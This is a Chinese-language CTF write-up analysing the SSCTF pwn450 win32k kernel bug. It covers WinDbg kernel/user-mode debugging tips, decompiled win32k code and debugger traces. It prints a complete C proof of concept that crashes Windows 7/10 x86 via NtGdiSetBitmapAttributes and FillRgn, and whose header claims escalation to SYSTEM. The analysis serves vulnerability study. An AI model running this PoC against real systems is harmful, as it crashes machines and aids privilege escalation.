SSCTF-pwn450 win kernel 漏洞分析 （三）
2024-1-3 22:42:15 Author: 3072(查看原文) 阅读量:8 收藏

一 前言

之前没有调试过内核的漏洞，以这道题目来入个门，发现其实除了一些内核结构体之外和用户态的分析也没有太大的区别，顺便在这里总结一种很方便的在内核态调试用户态程序的方法

二 内核态和用户态调试丝滑转换

双机调试这里就不介绍了，设置个串口就行了，下面讲讲让windbg在用户态和内核态丝滑转换

1 在虚拟机中创建下面的bat脚本

  1. "C:\Program Files\Debugging Tools for Windows (x86)\ntsd.exe"  -ddefer -y C:\Users\root\Desktop\SSCTFpwn450.pdb C:\Users\root\Desktop\SSCTFpwn450.exe

在虚拟机上使用ntsd.exe 将dbg shell重定向到外部的windbg上，在主机的windbg已经挂在虚拟机上的情况下，运行上面的bat脚本会让外部的windbg 从内核态变成用户态

2 通过 .sleep 7000 + ctrl break 命令让windbg从用户态进入内核态

3 在内核态下断点 （注意，无法用kd对用户态的代码下断点，只能是内核态）

4 通过g命令来运行到用户态，如果断点在进入用户态之前被断下直接不用管，因为此时你用户态的应用程序都没完全跑起来肯定不是你要的进程，在用户态继续g，会运行到该应用程序对应的内核调用，可以用kb和!process命令辅助查看程序断下时是否是预期的调用栈，不是继续g就行

另外有些时候windbg断在了内核的其他进程中（按照上面的方法是不会的），这个时候就要用侵入式调试在目标进程下断点，方法如下

1 !process 0 0 目标进程名 获取目标进程EPROCESS基本信息

2 .process /p +EPROCESS信息 切换到目标进程空间

3 .reload /f /user 强制重新加载用户态符号

4 .process /i /p 目标进程的EPROCESS 侵入式调试

5 ba 目标API 执行下断点命令

三 POC 分析

  1. /**
  2. * Author: bee13oy of CloverSec Labs
  3. * BSoD on Windows 7 SP1 x86 / Windows 10 x86
  4. * EoP to SYSTEM on Windows 7 SP1 x86
  5. **/
  7. #include <Windows.h>
  9. #pragma comment(lib, "gdi32.lib")
  10. #pragma comment(lib, "user32.lib")
  12. unsigned int demo_CreateBitmapIndirect(void) {
  13.     static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 };
  14.     static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0,
  15.         0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 };
  17.     bitmap.bmBits = bits;
  19.     SetLastError(NO_ERROR);
  21.     HBITMAP hBitmap = CreateBitmapIndirect(&bitmap);
  23.     return (unsigned int)hBitmap;
  24. }
  26. #define eSyscall_NtGdiSetBitmapAttributes 0x1110
  28. W32KAPI HBITMAP NTAPI NtGdiSetBitmapAttributes(
  29.     HBITMAP argv0,
  30.     DWORD argv1
  31.     )
  32. {
  33.     __asm
  34.     {
  35.         push argv1;
  36.         push argv0;
  37.         push 0x00;
  38.         mov eax, eSyscall_NtGdiSetBitmapAttributes;
  39.         mov edx, addr_kifastsystemcall;
  40.         call edx;
  41.         add esp, 0x0c;
  42.     }
  43. }
  45. void Trigger_BSoDPoc() {
  46.     HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();
  47.     HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);
  49.     RECT rect = { 0 };
  50.     rect.left = 0x368c;
  51.     rect.top = 0x400000;
  52.     HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);
  54.     HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
  55.     SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);
  57.     HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);
  59.     FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
  60. }
  62. int _tmain(int argc, _TCHAR* argv[])
  63. {
  64.     Trigger_BSoDPoc();
  65.     return 0;
  66. }

代码比较简单就是创建bitmap，然后调用NtGdiSetbitmapAttributes系统调用,之后便是创建DC，BRUSH，RGN等对象。但实际上POC中的只有bitmap数组后两位值，以及setbitmapattribute的第二个参数会影响内核是否会触发crash

四 调试分析

漏洞触发的直接原因是SURFOBJ + C 没有正确初始化

  1. kd> g
  2. Breakpoint 0 hit
  3. win32k!EngPaint:
  4. 9aacb697 8bff            mov     edi,edi
  5. kd> kb
  6.  # ChildEBP RetAddr  Args to Child              
  7. 00 90b37a54 9aacbb9d fe723018 90b37a7c 90b37af8 win32k!EngPaint
  8. 01 90b37c20 83e411ea 00000000 ffbff968 0510021b win32k!NtGdiFillRgn+0x339
  9. 02 90b37c20 776370b4 00000000 ffbff968 0510021b nt!KiFastCallEntry+0x12a
  11. BOOL __stdcall EngPaint(SURFOBJ *pso, CLIPOBJ *pco, BRUSHOBJ *pbo, POINTL *pptlBrushOrg, MIX mix)
  13. 根据栈帧和函数调用可以发现 fe723018 位置就是 SURFOBJ 对象
  15. kd> g
  16. Breakpoint 1 hit
  17. win32k!bGetRealizedBrush:
  18. 9a9d0528 8bff            mov     edi,edi
  19. kd> kb
  20.  # ChildEBP RetAddr  Args to Child              
  21. 00 90b379a0 9a9d34af fd4d4d98 90b37af8 9a9cd5a0 win32k!bGetRealizedBrush
  22. 01 90b379b8 9aa49b5e 90b37af8 00000001 90b37a7c win32k!pvGetEngRbrush+0x1f
  25. kd> dd 90b37af8
  26. 90b37af8  ffffffff 00000000 00000000 00edfc13
  27. 90b37b08  00edfc13 00000000 00000006 00000004
  28. 90b37b18  00000000 00ffffff fe4dd0a4 00000000
  29. 90b37b28  00000000 fe723008 ffbff968 ffbffe68
  30. 90b37b38  ffbbd540 00000006 fd4d4d98 00000014
  31. 90b37b48  000000af 00000001 00000000 00000000
  32. 90b37b58  90b37b70 9aa523eb 00000400 0000021b
  33. 90b37b68  90b37c10 c03bbf00 00000000 00000000
  35. 90b37af8 + 34h = fe723008
  37. kd> dd fe723008
  38. fe723008  04850220 00000001 80000000 876b1a70
  39. fe723018  00000000 04850220 00000000 00000000
  40. fe723028  00000008 00000008 00000020 fe72315c
  41. fe723038  fe72315c 00000004 000016c5 00000001
  42. fe723048  02010000 00000000 04000000 00000000
  43. fe723058  ffbff968 00000000 00000000 00000000
  44. fe723068  00000000 00000000 00000001 00000000
  45. fe723078  00000000 00000000 00000000 00000000
  47. fe723008 + 1ch = 0
  50. fe723018 位置就是 SURFOBJ 结构体 
  52. fe723008 + 1ch 实际上就是 SURFOBJ + c 
  54. kd> g
  55. Access violation - code c0000005 (!!! second chance !!!)
  56. win32k!bGetRealizedBrush+0x38:
  57. 9a9d0560 f6402401        test    byte ptr [eax+24h],1
  58. kd> kb
  59.  # ChildEBP RetAddr  Args to Child              
  60. 00 90b379a0 9a9d34af 00000000 00000000 9a9cd5a0 win32k!bGetRealizedBrush+0x38
  61. 01 90b379b8 9aa49b5e 90b37af8 00000001 90b37a7c win32k!pvGetEngRbrush+0x1f
  62. 02 90b37a1c 9aacb6e8 fe723018 00000000 00000000 win32k!EngBitBlt+0x337
  63. 03 90b37a54 9aacbb9d fe723018 90b37a7c 90b37af8 win32k!EngPaint+0x51
  64. 04 90b37c20 83e411ea 00000000 ffbff968 0510021b win32k!NtGdiFillRgn+0x339
  67. 838aba40 8b99f8010000    mov     ebx,dword ptr [ecx+1F8h]
  70. 838abb98 e8fafaffff      call    win32k!EngPaint (838ab697)

而SURFOBJ + C 没有正确初始化的直接原因是setbitmapattribute函数中bStockSurface的if条件不通过，从而不对该字段进行赋值

  1.  if ( v4 != (HDEV)SURFACE::pdibDefault )
  2.         {
  3.           INC_SHARE_REF_CNT(v4);
  4.           ++*((_DWORD *)v4 + 0x1A);
  5.           if ( !SURFACE::bStockSurface((SURFACE *)v4) )
  6.           {
  7.             v4[25] = *(_DWORD *)(HDEV)v15[0];
  8.             v4[7] = *(_DWORD *)((char *)v15[0] + 0x24); // 对SURFOBJ + C 赋值
  9.           }
  10.         }

为了通过setbitmapattribute bStockSurface以及createbitmap中的createDIB等函数的前置条件，因此必须设置POC中bitmap的后两位为1 1，且 setbitmapattribute 的第二个参数 & 1时不为0。其他条件都不会触发该漏洞

  1.     v19 = v6;
  2.     if ( *((_DWORD *)v15[0] + 5) != 1
  3.     || *((_DWORD *)v4 + 26) && !SURFACE::bStockSurface((SURFACE *)v4) && *((_DWORD *)v4 + 25) != *(_DWORD *)v5
  4.     || !bIsCompatible((struct PALETTE **)&a1, *((struct PALETTE **)v4 + 20), (struct SURFACE *)v4, v19, 1) ) // bIsCompatible检查不通过
  5.     {
  6.     goto LABEL_62;
  7.     }

文章来源: http://mp.weixin.qq.com/s?__biz=MzU4OTk0NDMzOA==&mid=2247484099&idx=1&sn=d5cf1624411754bc668cfbe3a6e31994&chksm=fc5165070ec3a48705adffe113f43c9e77697f243bc9785aeb2407ef26994a7a7b14f7e296f4&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh